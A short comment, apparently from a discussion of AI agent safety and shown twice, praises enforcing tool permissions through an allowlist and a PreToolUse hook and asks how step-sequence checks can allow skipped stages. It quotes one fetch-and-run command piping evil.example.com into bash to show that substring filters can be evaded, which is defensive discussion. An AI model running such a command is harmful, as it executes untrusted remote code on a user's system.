Moving enforcement out of the prompt and into an allowlist plus a PreToolUse hook is the right instinct, since a probabilistic instruction is exactly the wrong place to put a security boundary. The curl | bash versus curl https://evil.example.com | bash catch is a great argument for testing the guard itself, because a naive substring match hands you a false sense of coverage that is worse than no check. For the state machine, how do you keep the step-sequence enforcement from turning brittle when a legitimate task genuinely needs to skip a stage?
Moving enforcement out of the prompt and into an allowlist plus a PreToolUse hook is the right instinct, since a probabilistic instruction is exactly the wrong place to put a security boundary. The curl | bash versus curl https://evil.example.com | bash catch is a great argument for testing the guard itself, because a naive substring match hands you a false sense of coverage that is worse than no check. For the state machine, how do you keep the step-sequence enforcement from turning brittle when a legitimate task genuinely needs to skip a stage?